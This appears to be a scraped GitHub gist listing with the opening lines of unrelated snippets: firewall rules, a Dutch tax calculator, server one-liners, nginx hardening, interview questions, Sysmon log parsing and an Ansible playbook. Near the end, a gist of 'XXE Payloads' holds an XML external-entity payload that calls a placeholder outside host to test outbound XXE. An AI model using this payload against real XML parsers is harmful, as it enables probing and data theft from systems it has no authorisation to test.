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@virtualstaticvoid
virtualstaticvoid / iptables_rules.sh
Created June 14, 2011 08:58
25 Most Frequently Used Linux IPTables Rules Examples
# Modify this file accordingly for your specific requirement.
# http://www.thegeekstuff.com
# 1. Delete all existing rules
iptables -F
# 2. Set default chain policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
@avar
avar / 30-income-calculon.pl
Last active February 12, 2024 18:34
Calculate your income in The Netherlands with and without a 30% ruling.
# To check if this is up-to-date with the tax rates go to
# http://www.expatax.nl/tax-rates-2016.php and see if there's anything
# newer there.
#
# I make no guarantees that any of this is correct. I calculated this
# at the time and have been updating it when new tax rates come along
# because people keep finding this useful.
#
# There's also an interactive JS version of this created by
# @stevermeister at
@johntyree
johntyree / getBlockLists.sh
Last active June 4, 2024 12:30
Make one large blocklist from the bluetack lists on iblocklist.com
#!/usr/bin/env sh
# Download lists, unpack and filter, write to stdout
curl -s https://www.iblocklist.com/lists.php \
| sed -n "s/.*value='\(http:.*=bt_.*\)'.*/\1/p" \
| xargs wget -O - \
| gunzip \
| egrep -v '^#'
@willurd
willurd / web-servers.md
Last active July 22, 2024 08:45
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@plentz
plentz / nginx.conf
Last active July 22, 2024 11:19
Best nginx configuration for improved security(and performance)
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
@jvns
jvns / interview-questions.md
Last active July 6, 2024 08:32
A list of questions you could ask while interviewing

A lot of these are outright stolen from Edward O'Campo-Gooding's list of questions. I really like his list.

I'm having some trouble paring this down to a manageable list of questions -- I realistically want to know all of these things before starting to work at a company, but it's a lot to ask all at once. My current game plan is to pick 6 before an interview and ask those.

I'd love comments and suggestions about any of these.

I've found questions like "do you have smart people? Can I learn a lot at your company?" to be basically totally useless -- everybody will say "yeah, definitely!" and it's hard to learn anything from them. So I'm trying to make all of these questions pretty concrete -- if a team doesn't have an issue tracker, they don't have an issue tracker.

I'm also mostly not asking about principles, but the way things are -- not "do you think code review is important?", but "Does all code get reviewed?".

@tsiege
tsiege / The Technical Interview Cheat Sheet.md
Last active July 20, 2024 16:44
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.

ANNOUNCEMENT

I have moved this over to the Tech Interview Cheat Sheet Repo and has been expanded and even has code challenges you can run and practice against!






\

@RamblingCookieMonster
RamblingCookieMonster / Get-WinEventData and Sysmon.ps1
Last active October 29, 2022 14:28
Extract detailed data from Sysmon event logs
# Download and dot source Get-WinEventData
# https://gallery.technet.microsoft.com/scriptcenter/Get-WinEventData-Extract-344ad840
. "\\path\to\Get-WinEventData.ps1"
# Download and Set up Sysmon as desired
# http://technet.microsoft.com/en-us/sysinternals/dn798348
# http://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon
#Use Get-WinEvent and Get-WinEventData to obtain events and extract XML data from them - let's see all the properties behind one!
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=3} |
@staaldraad
staaldraad / XXE_payloads
Last active June 15, 2024 16:32
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@ryane
ryane / five_minutes.yml
Created February 24, 2015 15:15
five_minutes.yml
---
- hosts: all
vars:
UBUNTU_COMMON_ROOT_PASSWORD: 'xxxxx'
UBUNTU_COMMON_DEPLOY_PASSWORD: 'xxxxx'
UBUNTU_COMMON_LOGWATCH_EMAIL: user@example.com
ubuntu_common_deploy_user_name: deploy
ubuntu_common_deploy_public_keys:
- ~/.ssh/id_rsa.pub